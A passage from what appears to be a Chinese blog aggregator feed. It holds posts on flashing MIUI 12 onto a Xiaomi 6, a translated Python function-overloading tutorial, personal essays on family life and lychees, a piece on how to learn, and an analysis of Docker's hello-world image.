先将ROM解压,然后打开MIFlash,选择解压的文件夹,然后加载设备,然后点击刷机。在点击选择文件夹的时候,MIFlash就报了一个couldn't find flash script的错误,点击刷机是没有效果的。错误提示也很明显嘛,就是没找到刷机脚本。然后以为下错ROM了,又回过头去看,没下错啊,但是蓦的一下发现这泥煤的竟然是卡刷包,不是一直的线刷包。卡刷包就不是这么玩的了。


四、第二次刷机失败

将解压出来的文件删除,下载下来的压缩包重命名为update.zip,然后通过数据线导到手机存储根目录下去。然后点击设置 -> 我的设备 -> MIUI版本 -> 右上角三个点 -> 手动选择安装包 -> 选择传到手机上的update.zip。然后gameover~


五、第三次刷机失败

度娘一下米6刷MIUI12,要刷入TWRP,具体过程按下不表,TWRP文件在文末的附件中。刷入TWRP完成以后,选择刷入按钮,选择刷机包,然后滑动确认刷入。等待写入过程。以为很完美,结果刷机完成后,变成了无限重启。不要慌,问题不大,既然是无限重启那肯定是冲突了。再看了一眼网上的经验,要清除系统中的缓存。


六、刷机成功

再次回到TWRP主界面,点开清除按钮,点击高级清除选项,勾选Dalvik Cache,Data,Cache,System。清除完以后再次拷贝update.zip到手机上,再点刷入。等待片刻,刷入成功。网上经验说刷完系统后先别重启,把Data分区也清除掉。再店TWRP主界面,清除按钮,高级清除选项,清除内置存储,返回上一级,点击格式化Data分区。完成后重启手机。铛铛铛铛,MIUI12出现了。

1625417120195542.jpg


升级运存的经历

上图中运存竟然是8G,米6压根就没有8G版本啊,最大的也就6G,怎么回事。说来话长,去年降级MIUI到10就是因为原4G内存太卡,逼不得已,因为我知道硬盘是可以升级的,64G升256G很容易的事,我就好奇能不能升级内存(运存),万能淘宝一搜,还真有米6换内存的。价格也不贵,200块钱,并且商家承诺没有兼容性问题。抱着死马当活马医的态度,当时下单了一家换内存的风骚订单。结果就如上图所示,就有了8G内存飞一般的小米6。

1625417140810733.jpg


更换电池的经历

去年也是雷布斯说不能丢下MI6用户的,所以搞了个什么换电池的春风计划?49块钱去小米售后网点就能换个新电池,果断去换了个新电池,也就不用自己动手了,目前电池使用一年还算好,到明年要自己动手换电池的时候再来更新,如有需要自己换电池的可以参考笛大佬的文章:小米手机更换电池图文教程

1625417149746234.jpg


附件:小米6一键刷入recovery工具-3.3.2B-0308-9.0.exe.7z

by 西枫里 at July 04, 2021 03:46 PM

June 27, 2021

pythoncat

为什么 Python 没有函数重载?如何用装饰器实现函数重载?

作者:arprit
译者:豌豆花下猫(“Python猫”公众号作者)
声明:本翻译是出于交流学习的目的,基于 CC BY-NC-SA 4.0 授权协议。为便于阅读,内容略有改动。
函数重载指的是有多个同名的函数,但是它们的签名或实现却不同。当调用一个重载函数 fn 时,程序会检验传递给函数的实参/形参,并据此而调用相应的实现。
int area(int length, int breadth) {
  return length * breadth;
}

float area(int radius) {
  return 3.14 * radius * radius;
}
在以上例子中(用 c++ 编写),函数 area 被重载了两个实现。第一个函数接收两个参数(都是整数),表示矩形的长度和宽度,并返回矩形的面积。另一个函数只接收一个整型参数,表示圆的半径。
当我们像 area(7) 这样调用函数 area 时,它会调用第二个函数,而 area(3,4) 则会调用第一个函数。

为什么 Python 中没有函数重载?

Python 不支持函数重载。当我们定义了多个同名的函数时,后面的函数总是会覆盖前面的函数,因此,在一个命名空间中,每个函数名仅会有一个登记项(entry)。

Python猫注:这里说 Python 不支持函数重载,指的是在不用语法糖的情况下。使用 functools 库的 singledispatch 装饰器,Python 也可以实现函数重载。原文作者在文末的注释中专门提到了这一点。

通过调用 locals() 和 globals() 函数,我们可以看到 Python 的命名空间中有什么,它们分别返回局部和全局命名空间。
def area(radius):
  return 3.14 * radius ** 2

>>> locals()
{
  ...
  'area': <function area at 0x10476a440>,
  ...
}
在定义一个函数后,接着调用 locals() 函数,我们会看到它返回了一个字典,包含了定义在局部命名空间中的所有变量。字典的键是变量的名称,值是该变量的引用/值。
当程序在运行时,若遇到另一个同名函数,它就会更新局部命名空间中的登记项,从而消除两个函数共存的可能性。因此 Python 不支持函数重载。这是在创造语言时做出的设计决策,但这并不妨碍我们实现它,所以,让我们来重载一些函数吧。

在 Python 中实现函数重载

我们已经知道 Python 是如何管理命名空间的,如果想要实现函数重载,就需要这样做:
  • 维护一个虚拟的命名空间,在其中管理函数定义
  • 根据每次传递的参数,设法调用适当的函数
为了简单起见,我们在实现函数重载时,通过不同的参数数量来区分同名函数。

把函数封装起来

我们创建了一个名为Function的类,它可以封装任何函数,并通过重写的__call__方法来调用该函数,还提供了一个名为key的方法,该方法返回一个元组,使该函数在整个代码库中是唯一的。
from inspect import getfullargspec

class Function(object):
  """Function类是对标准的Python函数的封装"""
  def __init__(self, fn):
    self.fn = fn
    
  def __call__(self, *args, **kwargs):
    """当像函数一样被调用时,它就会调用被封装的函数,并返回该函数的返回值"""
    return self.fn(*args, **kwargs)

  def key(self, args=None):
    """返回一个key,能唯一标识出一个函数(即便是被重载的)"""
    # 如果不指定args,则从函数的定义中提取参数
    if args is None:
      args = getfullargspec(self.fn).args
    
    return tuple([
      self.fn.__module__,
      self.fn.__class__,
      self.fn.__name__,
      len(args or []),
    ])
在上面的代码片段中,key函数返回一个元组,该元组唯一标识了代码库中的函数,并且记录了:
  • 函数所属的模块
  • 函数所属的类
  • 函数名
  • 函数接收的参数量
被重写的__call__方法会调用被封装的函数,并返回计算的值(这没有啥特别的)。这使得Function的实例可以像函数一样被调用,并且它的行为与被封装的函数完全一样。
def area(l, b):
  return l * b

>>> func = Function(area)
>>> func.key()
('__main__', <class 'function'>, 'area', 2)
>>> func(3, 4)
12
在上面的例子中,函数area被封装在Function中,并被实例化成func。key() 返回一个元组,其第一个元素是模块名__main__,第二个是类<class 'function'>,第三个是函数名area,而第四个则是该函数接收的参数数量,即 2。
这个示例还显示出,我们可以像调用普通的 area函数一样,去调用实例 func,当传入参数 3 和 4时,得到的结果是 12,这正是调用 area(3,4) 时会得到的结果。当我们接下来运用装饰器时,这种行为将会派上用场。

构建虚拟的命名空间

我们要创建一个虚拟的命名空间,用于存储在定义阶段收集的所有函数。
由于只有一个命名空间/注册表,我们创建了一个单例类,并把函数保存在字典中。该字典的键不是函数名,而是我们从 key 函数中得到的元组,该元组包含的元素能唯一标识出一个函数。
通过这样,我们就能在注册表中保存所有的函数,即使它们有相同的名称(但不同的参数),从而实现函数重载。
class Namespace(object):
  """Namespace是一个单例类,负责保存所有的函数"""
  __instance = None
    
  def __init__(self):
    if self.__instance is None:
      self.function_map = dict()
      Namespace.__instance = self
    else:
      raise Exception("cannot instantiate a virtual Namespace again")
    
  @staticmethod
  def get_instance():
    if Namespace.__instance is None:
      Namespace()
    return Namespace.__instance

  def register(self, fn):
    """在虚拟的命名空间中注册函数,并返回Function类的可调用实例"""
    func = Function(fn)
    self.function_map[func.key()] = fn
    return func
Namespace类有一个register方法,该方法将函数 fn 作为参数,为其创建一个唯一的键,并将函数存储在字典中,最后返回封装了 fn 的Function的实例。这意味着 register 函数的返回值也是可调用的,并且(到目前为止)它的行为与被封装的函数 fn 完全相同。
def area(l, b):
  return l * b

>>> namespace = Namespace.get_instance()
>>> func = namespace.register(area)
>>> func(3, 4)
12

使用装饰器作为钩子

既然已经定义了一个能够注册函数的虚拟命名空间,那么,我们还需要一个钩子来在函数定义期间调用它。在这里,我们会使用 Python 装饰器。
在 Python 中,装饰器用于封装一个函数,并允许我们在不修改该函数的结构的情况下,向其添加新功能。装饰器把被装饰的函数 fn 作为参数,并返回一个新的函数,用于实际的调用。新的函数会接收原始函数的 args 和 kwargs,并返回最终的值。
以下是一个装饰器的示例,演示了如何给函数添加计时功能。
import time

def my_decorator(fn):
  """这是一个自定义的函数,可以装饰任何函数,并打印其执行过程的耗时"""
  def wrapper_function(*args, **kwargs):
    start_time = time.time()
    # 调用被装饰的函数,并获取其返回值
    value = fn(*args, **kwargs)
    print("the function execution took:", time.time() - start_time, "seconds")
    # 返回被装饰的函数的调用结果
    return value
  return wrapper_function

@my_decorator
def area(l, b):
  return l * b

>>> area(3, 4)
the function execution took: 9.5367431640625e-07 seconds
12
在上面的例子中,我们定义了一个名为 my_decorator 的装饰器,它封装了函数 area,并在标准输出上打印出执行 area 所需的时间。
每当解释器遇到一个函数定义时,就会调用装饰器函数 my_decorator(用它封装被装饰的函数,并将封装后的函数存储在 Python 的局部或全局命名空间中),对于我们来说,它是在虚拟命名空间中注册函数的理想钩子。
因此,我们创建了名为overload的装饰器,它能在虚拟命名空间中注册函数,并返回一个可调用对象。
def overload(fn):
  """用于封装函数,并返回Function类的一个可调用对象"""
  return Namespace.get_instance().register(fn)
overload装饰器借助命名空间的 .register() 函数,返回 Function 的一个实例。现在,无论何时调用函数(被 overload 装饰的),它都会调用由 .register() 函数所返回的函数——Function 的一个实例,其 call 方法会在调用期间使用指定的 args 和 kwargs 执行。
现在剩下的就是在 Function 类中实现__call__方法,使得它能根据调用期间传入的参数而调用相应的函数。

从命名空间中找到正确的函数

想要区别出不同的函数,除了通常的模块、类和函数名以外,还可以依据函数的参数数量,因此,我们在虚拟的命名空间中定义了一个 get 方法,它会从 Python 的命名空间中读取待区分的函数以及实参,最后依据参数的不同,返回出正确的函数。我们没有更改 Python 的默认行为,因此在原生的命名空间中,同名的函数只有一个。
这个 get 函数决定了会调用函数的哪个实现(如果重载了的话)。找到正确的函数的过程非常简单——先使用 key 方法,它利用函数和参数来创建出唯一的键(正如注册时所做的那样),接着查找这个键是否存在于函数注册表中;如果存在,则获取其映射的实现。
def get(self, fn, *args):
  """从虚拟命名空间中返回匹配到的函数,如果没找到匹配,则返回None"""
  func = Function(fn)
  return self.function_map.get(func.key(args=args))
get 函数创建了 Function 类的一个实例,这样就可以复用类的 key 函数来获得一个唯一的键,而不用再写创建键的逻辑。然后,这个键将用于从函数注册表中获取正确的函数。

实现函数的调用

前面说过,每次调用被 overload 装饰的函数时,都会调用 Function 类中的__call__方法。我们需要让__call__方法从命名空间的 get 函数中,获取出正确的函数,并调用之。
__call__方法的实现如下:
def __call__(self, *args, **kwargs):
  """重写能让类的实例变可调用对象的__call__方法"""
  # 依据参数,从虚拟命名空间中获取将要调用的函数
  fn = Namespace.get_instance().get(self.fn, *args)
  if not fn:
    raise Exception("no matching function found.")
  # 调用被封装的函数,并返回调用的结果
  return fn(*args, **kwargs)
该方法从虚拟命名空间中获取正确的函数,如果没有找到任何函数,它就抛出一个 Exception,如果找到了,就会调用该函数,并返回调用的结果。

运用函数重载

准备好所有代码后,我们定义了两个名为 area 的函数:一个计算矩形的面积,另一个计算圆的面积。下面定义了两个函数,并使用overload装饰器进行装饰。
@overload
def area(l, b):
  return l * b

@overload
def area(r):
  import math
  return math.pi * r ** 2

>>> area(3, 4)
12
>>> area(7)
153.93804002589985
当我们用一个参数调用 area 时,它返回了一个圆的面积,当我们传递两个参数时,它会调用计算矩形面积的函数,从而实现了函数 area 的重载。

原作者注:从 Python 3.4 开始,Python 的 functools.singledispatch 支持函数重载。从 Python 3.8 开始,functools.singledispatchmethod 支持重载类和实例方法。感谢 Harry Percival 的指正。

总结

Python 不支持函数重载,但是通过使用它的基本结构,我们捣鼓了一个解决方案。
我们使用装饰器和虚拟的命名空间来重载函数,并使用参数的数量作为区别函数的因素。我们还可以根据参数的类型(在装饰器中定义)来区别函数——即重载那些参数数量相同但参数类型不同的函数。
重载能做到什么程度,这仅仅受限于getfullargspec函数和我们的想象。使用前文的思路,你可能会实现出一个更整洁、更干净、更高效的方法,所以,请尝试实现一下吧。
正文到此结束。以下附上完整的代码:
# 模块:overload.py
from inspect import getfullargspec

class Function(object):
  """Function is a wrap over standard python function
  An instance of this Function class is also callable
  just like the python function that it wrapped.
  When the instance is "called" like a function it fetches
  the function to be invoked from the virtual namespace and then
  invokes the same.
  """
  def __init__(self, fn):
    self.fn = fn
  
  def __call__(self, *args, **kwargs):
    """Overriding the __call__ function which makes the
    instance callable.
    """
    # fetching the function to be invoked from the virtual namespace
    # through the arguments.
    fn = Namespace.get_instance().get(self.fn, *args)
    if not fn:
      raise Exception("no matching function found.")
    # invoking the wrapped function and returning the value.
    return fn(*args, **kwargs)

  def key(self, args=None):
    """Returns the key that will uniquely identifies
    a function (even when it is overloaded).
    """
    if args is None:
      args = getfullargspec(self.fn).args
    return tuple([
      self.fn.__module__,
      self.fn.__class__,
      self.fn.__name__,
      len(args or []),
    ])

class Namespace(object):
  """Namespace is the singleton class that is responsible
  for holding all the functions.
  """
  __instance = None
    
  def __init__(self):
    if self.__instance is None:
      self.function_map = dict()
      Namespace.__instance = self
    else:
      raise Exception("cannot instantiate Namespace again.")
    
  @staticmethod
  def get_instance():
    if Namespace.__instance is None:
      Namespace()
    return Namespace.__instance

  def register(self, fn):
    """registers the function in the virtual namespace and returns
    an instance of callable Function that wraps the function fn.
    """
    func = Function(fn)
    specs = getfullargspec(fn)
    self.function_map[func.key()] = fn
    return func
  
  def get(self, fn, *args):
    """get returns the matching function from the virtual namespace.
    return None if it did not fund any matching function.
    """
    func = Function(fn)
    return self.function_map.get(func.key(args=args))

def overload(fn):
  """overload is the decorator that wraps the function
  and returns a callable object of type Function.
  """
  return Namespace.get_instance().register(fn)
最后,演示代码如下:
from overload import overload

@overload
def area(length, breadth):
  return length * breadth

@overload
def area(radius):
  import math
  return math.pi * radius ** 2

@overload
def area(length, breadth, height):
  return 2 * (length * breadth + breadth * height + height * length)

@overload
def volume(length, breadth, height):
  return length * breadth * height

@overload
def area(length, breadth, height):
  return length + breadth + height

@overload
def area():
  return 0

print(f"area of cuboid with dimension (4, 3, 6) is: {area(4, 3, 6)}")
print(f"area of rectangle with dimension (7, 2) is: {area(7, 2)}")
print(f"area of circle with radius 7 is: {area(7)}")
print(f"area of nothing is: {area()}")
print(f"volume of cuboid with dimension (4, 3, 6) is: {volume(4, 3, 6)}")

June 27, 2021 12:00 AM

June 26, 2021

anji66

一地鸡毛,高歌欢进(一)

忙为什么不是借口?忙就是借口。断更三月,可写的东西太多,唯独代码没啥可写的,三个月撸码0行。吃饭的本事也就已经荒废的差不多了。一直被生活蹂躏的死去活来,被所谓的“忙”牵绊其身,被催更良久,索性记下这一地的鸡毛。



因年初贷款批下来了,LD再也做不了全职妈妈忍不住出去工作了,演变成娃儿上下学没得照应,所以四月份,把我妈从乡下接来同住,早晚帮我接送孩子。天下最难处的婆媳关系,在我家时隔几年再一次碰撞在同一个屋檐下。自打我妈来,头两个月都有心理准备,还算是相安无事,这第三个月开始,又一轮的鸡飞狗跳。大概我还是没学会怎么承受和卸载夹板气的本领,脑阔痛。

小家伙的英语培训第一年已经结束了,七七八八也就九个多月的时间,我原本觉得这第一年还不错,英语说的挺溜,所以第二学年算是毫不犹豫又报名一年,一万好几的票子扔出去也都没心疼,哪成想人算不如天算,这学年开始的几节课,8个单词恁是一个礼拜没记住,搞的我是哭笑不得,这大洋算是扔水里,没有泛起一丝丝波澜,看看到结束的时候会不会给我冒个泡抑或是让我听个响。

1.jpg

最近媳妇闹别扭,原本早上上班我适当绕点路也就顺带送她了,下班我要是没加班她等我一下我正好接她一起回家,这杠头上了,自己气呼呼出门坐公交车去了,甩给我一个不屑的身影。最后成了我自个儿晚十分钟出门,早到公司十分钟。下班又径直回家,正好做个晚饭。



很多年没有违章的我,4月底莫名收到一条违章短信,还就在自家附近,还是左转不让直行,我勒个去,这也拍,和别人心疼分不心疼钱不同,我这扣三分也就算了,可我就心疼那200块钱。还连带我4年0违章的记录被中断了。受了次惊吓,这连着两个月我在此路口坚决直行不左转,我看你拍我去。

2.jpg

前段时间女儿感冒,身体状态极差,坐在车上竟然吐了,吐了个稀里哗啦的,整个后座地板全是污秽,没辙,这只能去洗车店去了,向来我是老天弄脏老天洗的心态,不得不对生活妥协。找了个汽车店,店员倒是客气:哥,您这洗要额外收费的。我说没问题,来找你肯定知道要收钱。多收钱你说吧。80就行。好嘞,成交。洗完车付80准备走人,店员说等等,洗车费还没付呢,我说不是80扫码付了吗?那是洗呕吐物的,普通洗车的没付。我去,你告诉的洗车价还分内外不同啊,人才屋檐下,又得低次头,多少钱?48。我擦你们洗车要48块钱了。哥,现在人工费涨的不得了。

台州出差回来,连夜跑了四个小时的高速,回来也不知道什么时候后轮扎了两个钉子。正好第二天朋友来,开车出门,火急火燎的也没留意,凭着10年老司机的感觉,总觉得车不对。但是朋友在车上,也就没下来检查,心想着到目的地再查一下吧,没走出几百米,后面朋友的车超上来说你那后轮没气了,是不是特别费油?唉,补个气又去了前面说的修车店,这次补轮胎普通贴片要40,这死黑心的修车店,打死不去下一次了。店员硬是让我换胎,我看了一下,有橡胶屑下来,没明显折断帘子线的迹象,反正是后轮,我就说下次一起换吧,先将就用,补好店员再三嘱咐我高速要当心。


搬家

赶在去年魔都疯长和调控之前把房子买好,前脚买完后脚就涨到买不起的价位,然后就是知名的沪八条。这大概算是这辈子目前为止走的最大的狗屎运吧。等贷款交房简单装修一顿折腾,正好租的房子也快到期了,就折腾搬家。之前没娃的时候自己轿车一车就搬走了,现在,一车?呵呵!每天晚上下班自己拉两趟,足足拉了一个礼拜。最后大件还叫了一次货拉拉最后才搬完,搬完才是功成一半。另一半收拾整理差不多花了一个月才算走上正轨。这还不算买个各种桌子柜子高低床,自己组装差点没把老腰给废掉。

3.jpg

因为搬家,京东上的老地址没来得及删除,之前搬的过程中买的东西都还记得选择地址。等搬完了,忘了删地址,买的东西竟然寄到原地址了,等我想起来这事已经过去一个月了,还好事个小件。今天查信用卡账单,发现我积分兑的东西又因信用卡积分商城地址没改又寄到原租房的地方去了,两次两个快递还都被那下一任租客给签收了,我踏马差点一口老血喷了一地,不行今天晚上得去那边找他给要回来。上次交接的时候就知道那人油里油气,不是你的东西你拒收不得了,签收了用了心安理得?


物联网

今年工作的一大方向除了原商城系统的迭代、自行开发的erp维护,又新增了两大内容,一个是物联网项目的开发和专业ERP的整合对接工作。物联网的活是边做边学,好歹还算顺利,第一个物联网的设备投入运营半年有余,第二个项目也交付给客户了,近期会投入使用,现在手上是第三个自有工厂的设备物联网改造,之前还算好我们只要处理服务端和UI交互,这次工厂设备改造直接杀进了传感器、设备制造领域了,自有设备如果改造成功,下一步是做OEM的平台,然后串联行业内其它设备制造商,给他们进行赋能,有道是路漫漫其修远兮,太难,吾将上下而求索,不得。好在两个95后小伙伴很给力,他们远比最近接触到的某些90后实诚和靠谱。

4.jpg


这么多“借口”就是断更的理由,回见~


by 西枫里 at June 26, 2021 07:08 AM

June 20, 2021

pythoncat

荔枝

每年入夏的时候,我就特别想念新鲜的荔枝。近几年来,物流和电商发达。在荔枝上市的时节,即便身在苏州,我也能很容易就吃上来自广东和海南的各个品种的荔枝,然而,却总有一些不满足。
荔枝是非常娇贵的水果,只生长在南方少数的区域,果实不能长久保存。古时候交通落后,那时的荔枝对多数人而言是奢侈品,甚至成为了诗人笔下劳民伤财的典范:“一骑红尘妃子笑,无人知是荔枝来”。
△ 你能认出这些品种的区别么?
如今时代,虽然凭借着便捷的物流网络,它已经成为了全国各地食客们触手可及的盘中餐,但是,我始终耿耿于怀,因为我知道,它的味道不对。
为了保鲜,商家们会给荔枝覆上冰块,然而,这几乎抹掉了荔枝天然的馨馨果香。因为气味不对,所以味道也不对。
我难以确切地描绘那是一种什么气味,但是,随便在超市买一瓶荔枝味的饮料,都比买到的荔枝闻起来更像荔枝。那不是普通的水果香,而是特有的荔枝香。
对于香味的记忆,我有一种很奇妙的认知。去年端午节前不久的一天,我在下班回到小区外时,突然闻到了一股久违了十年的香味,一下子就认出了那是粽子刚刚煮好出锅时的香味!
我家乡(广东茂名)那边用来包裹咸粽子的叶子是簕古叶,周身细长,叶边和叶脊上长满了锯齿样的尖刺。我所熟悉的那股粽子香大概跟这种植物有关(一直这样以为,但实际可能是用了某种香料),而且粽香跟荔枝香一样,在离开诞生地后就会快速消散,二次加热也难再催生。
所以,当在苏州突然闻到那阵浓浓的粽子香时,我很是意外和恍惚。
△ 布满刺的簕古叶
粽子香激发了我的食欲,让我渴望吃到家乡的那种粽子。于是,十多年在外地过端午节的我,第一次在电话里让妈妈寄粽子。吃着带有熟悉的香味的粽子,尽管那味清淡,我却觉得满足。
△ 刚拆出快递的家乡粽子
气味让人记忆深刻,然而它只有短暂的保质期,不能像清风明月般,取之不尽用之不竭。独特和稀缺产生了意义,有时候仿佛没有了这捉摸不得的气,就损害了那形质完整的物。仿佛没了香味,粽子就不再是粽子,荔枝也不再是荔枝。
我觉得荔枝的味道不对,还有一个原因是发现它的成熟度不够。熟透了的水果难以保存和运输,因此市面上很多水果都是半生摘后催熟的,比如芒果、菠萝蜜、香蕉和桃子。
五六成熟的荔枝不影响商家们倾销市场,八九成熟的荔枝也有着不错的口感,然而,我最想念的是那些熟透了红透了甜胀了的荔枝。前两者易得,后一者难求。
成熟度能严重地影响水果的味道,有些人可能吃不出来区别,或者更喜欢那样的风味,然而我却很挑剔,就像吃牛排只吃十成熟,吃水果也挑食。
不在水果的种植地,就很难吃到最香最熟的水果。童年的一些生活经历让我记忆深刻,而且一直影响着我的饮食习惯。
小时候,我家门前的园子里种了两棵芒果树,经常大丰收,硕果满枝。兄弟几人最大的乐趣就是去摇晃果树,然后瓜分掉落下来的新鲜美味。果熟蒂落,异常可口。
在家门口不远的山上,我们家种有二三十棵荔枝树。有一年收成不错,我带着表哥表嫂们到了那片果林,大有一种孙悟空进入了蟠桃园的肆意。
晴天中午的阳光把荔枝晒得格外地红,新摘下时还带着暖热,浓郁果香混着被折枝叶的树香,入口难忘,汁水爆留在手,甜味终日不散。
当到了荔枝季末尾的时候,小孩们会组队去别人的果园里捡漏,攀爬寻觅。有些特立独行的荔枝长在枝叶丛掩盖的暗处,熟得很彻底,红得很彻底,幸运的话还胖得很彻底,每当遇到,就好似中了大奖。
有了这样的经历,当提到“荔枝”这个词的时候,它在我脑子里的形象就跟大多数人完全不相同了,也就像同样提到“猫”这个词,养猫人和没养过猫的人,所联想出的内涵肯定不同。
气味和熟度成了我评判荔枝好坏时不可或缺的标准。童年的食物和记忆对一个人的影响,潜移默化,在很多年以后,你可能会突然发现它们,就品出了莫名的况味来。
△ 发芽的荔枝种子
关于荔枝,我还有一个非常难忘的记忆片段。那时候我年龄很小,对于自然事物的演变还知之甚少,对于自然之美似乎刚开了朦胧的智。
有一天清晨跟着妈妈在菜园里,我无意中掀起了一片树枝架子,突然就被一个东西强烈地吸引住了:一棵光滑的枣红色荔枝种子浅浅地侧埋在沙土里,须白的嫩根探钻入地,一株树苗长长直直,顶上撑开了几片粉嘟嘟的叶子,那和谐的色彩组合以及直立的平衡对称,一下子就把我全部的注意力定格了。
△ 新生的荔枝苗
当年幼小的我被同样幼小的荔枝苗打开了见识的新天地,对于什么是美的观念也开始在我的心中生根发芽。
我记得那荔枝的品种是黑叶,种子总是很饱满,只要条件允许,就总能生根发芽。但是,由于种子大,它也极容易遭致虫害,加之果肉若不是很熟就会带有微酸,所以,这些年来它应该快被淘汰了吧。如今,外地朋友们能吃到的荔枝,大部分皆是果核很小的人工培育品种。
除了以上的几个记忆片段,仔细搜罗组织的话,我还能想起很多的事情,例如给荔枝树除草施肥、用叶子卷出口笛、抓捕荔枝椿象、观赏荔枝花……这些事情偶尔还会在我梦中激活重演。
关于粽子和荔枝的话题,我在几年前就有了写作的念头,自从前年写了《蝉!蝉!蝉!》之后,这个念头就更是难以冲散。去想那些体验,去写这些小事,到底有什么意义呢?我时常会想写作的动机,想以此来激发自己做事的动力。
今年里吃了不少荔枝,虽然对味道仍有些不满足,我的口腹之欲却是满足了。每次吃荔枝的时候,它就在强化我的写作灵感,而豌豆就在一旁“煽风点火”。所以,我想,在今年的荔枝季节过去之前,该给荔枝一个交代了,也给自己一个交代。
注:除了粽子图,其它图片来源于网络。

June 20, 2021 12:00 AM

June 12, 2021

gaomf

如何学习一个新东西

我们从小到大都在学习各种新东西,学的东西多了自然会对“如何学新东西”这一问题本身有一些方法论层面的思考,本文就来分享总结下自己的一些经验。

对于学习各种人为创造的东西基本都可以按相同的方法进行,不过对于学习自然科学的概念方法会有所不同,本文就不去讨论了。

学习一个新东西基本可以分为三个阶段:初步理解,即会用;深入理解,即懂原理;融会贯通。

初步理解

这一阶段的目的是学会如何使用这个新东西,即学习如何用轮子的阶段,对于只需要应用的情况来说达到这一阶段就够了。此阶段的核心就是搞清楚三个问题:是什么(What),为什么(Why),怎么用(How),这十分类似于 3W 法则,因为这本来就是人类自然思维过程的抽象总结。

是什么

最基本的第一步,搞清楚这是一个什么东西。这一步说简单也简单,说复杂也复杂。简单在于只要随便看看介绍就会对这是什么有个初步感觉了;复杂在于要想给一个东西下一个精确的定义来描述它是什么会是极为复杂的。

要理解一个东西是什么往往伴随着理解它不是什么同步进行。

在学习新东西时一开始只需要对它是什么有个基本认识就好了,后续随着学习过程的深入自然会对此问题有越来越深入精确的认识。

作用

搞清楚为什么要创造出这么一个东西?这个东西的作用是什么?它可以用来解决什么问题?

对于某些东西来说要搞清楚此问题并不简单,特别是一些源于数学的抽象概念和方法。

使用方法

学会如何用这个东西。一些基础小东西会相对较为单纯,其使用方法也自然很简单。然而很多时候一个东西会提供若干不同功能来满足不同需求与解决不同问题,各功能都会有自己不同的使用方法。且达到同样目的也可以选择不同优劣有异的功能组合。

一般而言一个东西的复杂度很大程度上取决于其提供功能的多样性。相对比较简单纯粹的东西就只有会用和不会用两种状态,而更多复杂的东西则存在连续的中间状态。

这一步通常会是一个逐步深化、逐步探索的过程,开始只会用其最基本的功能,随着使用的深入会发掘出越来越多的使用方法及功能来。

深入理解

即学习其内部实现原理,这一阶段也就是学习如何造轮子的阶段,由浅到深可以继续分为三步:

  1. 理解这个东西是如何设计及实现出来的,它是如何工作的?
  2. 理解为什么这样做是正确及可行的?
  3. 理解为什么要这样设计,不这样做还可以怎么做?

一般而言,一个相对较复杂的技术及概念都是基于一系列更基础的技术及概念组合而成的,要充分理解其实现原理就要先理解其用到的各种底层技术或概念。

实现原理与此东西的功能及使用方法是密切相关的,内部实现是为了支撑其外部功能,在不知道其功能与使用方法时是很难理解其实现原理的。

在这一点上是很容易走弯路的,就像大学的很多课程为什么会感觉无用和难学就是因为这些课程的设计不是从应用出发自顶向下而是从原理出发自底向上的。根据我个人的经验,自底向上的学习方式并不是完全不可行,然而学习过程会很痛苦和迷茫,往往也会事倍功半。从应用出发自顶向下的学习路线相对会自然很多,先会用,再去研究它是怎么工作的,这更加的符合人类认识事物的规律。

当然也不是说非要精通其使用方法后再去研究其实现原理,二者其实是一个相辅相成相互促进的关系,会用了再去研究其内部实现会自然很多;理解了其内部实现后会有助于更好的去应用。

融会贯通

这一阶段主要是在一个更大的框架下来思考理解这个东西,以达到融会贯通的目的。可以从两个维度来入手。

同类比较

一般来说解决一个问题的方法都不止一个,因此可以进一步深入思考下这些问题:

  • 为了实现同样的目的及作用,还有什么其他方法?
  • 这些方法间有什么优劣?什么时候改选择什么方法?
  • 造成它们各自优劣的原因是什么?实现原理又有何共同点及区别?

发展脉络

人类发展至今基本所有东西都是渐进式发展的,没有太多东西是全新发展出来的,因此可以从时间的维度上来进行下思考:

  • 为了达到同样的目的,历史上有过什么其他的方法?
  • 它们是如何一步步演化到当前这个样子的?
  • 未来又会向什么方向演化?

June 12, 2021 03:46 AM

深入分析Docker hello-world镜像

学习Docker时一般刚开始接触的第一个docker image就是hello-world,这个image运行起来的效果也很简单直接,仅仅是在屏幕上输出一段Docker的使用说明就结束了。这个镜像虽然简单,然而仔细分析下还是涉及不少底层机制的。

我之所以会对这个镜像感兴趣,是发现它的大小仅仅只有1.84kB,这实在是太小了,写一个printf("Hello Wolrd\n");的程序编译出来大小就远超1.84kB了,所以很好奇这个镜像是如何构建出来的。

Dockerfile

Docker的镜像构建过程是由其镜像描述文件Dockerfile决定的,所以就先找到其Dockerfile来看看。hello-world用于AMD64架构的Dockerfile可以在Github上找到,只有简单的3行:

1
2
3
FROM scratch
COPY hello /
CMD ["/hello"]

第1行导入了一个名为scratch的东西,这并不是一个真正的image,可以把它视为是所有image的最底层虚拟镜像,类似于一个基本抽象类,Docker官方对其的说明如下

This image is most useful in the context of building base images (such as debian and busybox) or super minimal images (that contain only a single binary and whatever it requires, such as hello-world).

As of Docker 1.5.0 (specifically, docker/docker#8827), FROM scratch is a no-op in the Dockerfile, and will not create an extra layer in your image (so a previously 2-layer image will be a 1-layer image instead).

……

You can use Docker’s reserved, minimal image, scratch, as a starting point for building containers. Using the scratch “image” signals to the build process that you want the next command in the Dockerfile to be the first filesystem layer in your image.

后面两行的含义也很直接,把一个名为hello的程序copy到根目录下,在运行image的时候运行此程序。下面就来看下这个如此小的hello world程序是如何实现的。

主程序

hello.c文件的源码也在同一个Github仓库中,省略掉过长的字符串常量后很简单:

1
2
3
4
5
6
7
8
9
10
#include <sys/syscall.h>

const char message[] =
"Hello World!"
"\n";

void _start() {
syscall(SYS_write, 1, message, sizeof(message) - 1);
syscall(SYS_exit, 0);
}

这个最简版本的Hello World和C语言教科书中第一个Hello World是有不小差别的。首先是程序入口点上,众所周知正常C/C++程序的入口点是main(),然而这里使用的是_start()

我们的程序是运行在Linux系统上的,程序的加载与运行必然是由OS发起的,对于Linux来说,OS层面的程序入口点就是_start()而不是main() 函数,一个程序要能正常运行在main()之前是有一些准备工作要做的,比如建立程序运行环境(初始化.bss全局变量等);在main()返回之后也有些收尾工作要处理,比如调用exit()通知系统等。这些工作正常情况下是由语言标准库来完成的,也就是所谓的Runtime运行环境,对于C语言来说就是crt0.o。大部分程序的_start()就位于其中,在建立好运行环境后_start()会调用main()跳转到用户定义的入口点处。当main()返回后程序又将回到ctr0.o中,最终调用exit()通知OS回收进程资源。

这里为了缩小程序体积和简单起见,没有使用标准的ctr0.o Runtime,事实上这一个简单的程序也不需要什么Runtime。程序最后直接通过syscall函数调用了SYS_exit系统调用结束了自身的运行。

